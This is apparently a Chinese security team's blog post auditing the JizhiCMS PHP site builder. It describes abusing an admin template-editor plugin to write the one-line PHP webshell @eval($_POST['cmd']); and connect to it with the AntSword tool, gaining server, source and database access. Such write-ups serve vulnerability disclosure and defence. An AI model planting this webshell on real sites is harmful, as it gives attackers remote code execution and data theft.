极致CMS建站系统代码审计之旅
0x001 前言
标题为什么是代码审计之旅呢?相信很多人都有疑问,由于疫情原因居家办公了,暂时回不去,也为政府的防疫速度点赞,大路小路迅速封堵安排人员值守,我们为此还建了个群,半夜各个路口都有人员轮流值守,估计连个鸟都飞不出去,只能老老实实呆在家里了,然后在家做了这个极致cms代码审计过程,拿出来和大家分享一下我的分析过程。
一款免费开源的PHP建站CMS系统,可以免授权商业使用该系统,支持后台在线模板,可以下载和更新模板,提供更多免费模板,支持后台多语言本地化配置,更新一套精美模板免费使用,桌面配置更具人性化设定,支持更多图标选择及菜单名称自定义,更具通俗化目录结构,让你一目了然字段重构,前台发布表单字段设定,列表字段控制,多种类型字段让你自由发挥创作!后台增加模板自定义方式,让你二开更方便!后台插件模板接口开放设定,可以自由维护自己的客户进行客制化服务!免费开源,代码无任何加密,可免费商用,前台界面可以去除版权显示,支持MIT协议,真正开源免费!
0x002 安装环境
jizhicms的开发语言是PHP,支持PHP5.6+,发布之日起就已经兼容到PHP7.4版本,推荐使用PHP7.0版本以上。
安装环境建议Linux服务器,当然Windows也是可以安装的,云服务器建议安装宝塔面板查看
无论是Windows还是Linux建议安装Apache、mysql、phpMyAdmin配件
本系统当前版本2.0仅支持mysql数据库
0x003 安装须知
PHP5.6+
MySQL4.8+,数据编码 utf-8 或者 utf8-general-ci
部署环境必须支持伪静态
支持Apache、Linux
0x004 开始安装
本地环境搭建:
官网下载:https://www.jizhicms.cn/forum.php?mod=viewthread&tid=578
这个cms目录架构大致如下:
安装完以后,前台效果
此时登录后台程序:
地址如下:http://jizhi.com/admin.php/Login/index.html
登陆后效果
收集了一些cnvd的信息,JIZHICMS跨站脚本漏洞,JIZHICMS跨站脚本漏洞,jizhicms1.4版本存在文件上传漏洞,jizhicms存在文件上传漏洞 ,JIZHICMS跨站请求伪造漏洞这几个漏洞,前台一顿操作也没找出漏洞来,那我就去看下后台,根据功能点来,一点点尝试。
想着在系统设置中的高级设置,可以选择上传的后缀名,不过这里是前台的上传文件限制,后台虽然有上传点但是一直绕过不了,比较麻烦,突然想到他还有个插件功能,他有插件可不可以通过插件做一些文章。
浏览了一下插件发现有在线编辑模板,然后感觉看到了希望。
然后点击下载以后点击安装
点击开启以后点击配置密码
配置完密码,再次输入配置的密码登录,点击立即提交就会出来一个新的窗口,可以编辑文件。
添加恶意代码:
@eval($_POST['cmd']);
保存成功后保存完以后
使用蚁剑链接木马,获得服务器权限:
项目所有文件信息:
查看数据配置信息:
至此,通过系统后台编辑文件插件,通过更改文件代码,实现写入木马程序执行,拿到了服务器全部权限、源码,以及数据库信息,造成了很严重的后果。
0x005 总结
该漏洞主要是通过cms 后台扩展管理插件列表,下载在线编辑模板,允许用户修改代码,而这对操作修改代码没有过滤就造成了巨大的风险,拿到了服务器全部权限、源码,以及数据库信息。
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们。
微信扫码关注该文公众号作者